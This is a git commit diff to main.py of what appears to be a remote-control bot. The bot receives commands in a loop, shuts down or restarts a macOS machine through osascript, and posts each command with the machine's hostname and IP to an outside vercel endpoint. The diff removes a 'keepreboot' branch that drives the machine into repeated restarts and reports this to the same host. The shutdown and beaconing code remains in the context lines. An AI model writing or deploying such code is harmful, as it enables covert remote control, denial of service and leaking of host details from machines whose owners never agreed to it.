diff options
| author | littleblack111 <littleblack11111@gmail.com> | 2023-09-03 21:02:21 +0800 |
|---|---|---|
| committer | littleblack111 <littleblack11111@gmail.com> | 2023-09-03 21:02:43 +0800 |
| commit | 1a6662e8d6888d524a5a41704a1bb03e160b4f1e (patch) | |
| tree | 994896c0789c00bc3bc5dcc2f8b44f3831f201ec /main.py | |
| parent | 0757e319858b649bcdf863863a4d3c9d41469fda (diff) | |
reverted .syspower and keeprebootmain
Diffstat (limited to 'main.py')
| -rw-r--r-- | main.py | 21 |
1 files changed, 1 insertions, 20 deletions
@@ -193,7 +193,7 @@ while True: exit() elif command.startswith('syspower'): localcmd = command.split() - if localcmd[1<len(localcmd)] and not path.exists(f"{expanduser('~')}/.syspower"): + if localcmd[1<len(localcmd)]: try: if localcmd[1] == 'shutdown' or localcmd[1] == 'poweroff': if ossystem('osascript -e \'tell app "Finder" to shut down\'') == 0: @@ -265,28 +265,9 @@ while True: except KeyboardInterrupt: continue continue - open(f"{expanduser('~')}/.syspower", 'w').close() except: continue - elif localcmd[1<len(localcmd)] and not path.exists(f"{expanduser('~')}/.syspower"): - if localcmd[1] == 'keepreboot': - if ossystem('osascript -e \'tell app "Finder" to restart\'') == 0: - try: - post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```computer gonna be keep rebooting, cya...```") - old_command = commandId - except: - try: - post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to start rebooting```") - except KeyboardInterrupt: - continue - continue - else: - try: - post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to start rebooting```") - except KeyboardInterrupt: - continue - continue else: remove(expanduser('~')/'.syspower') |
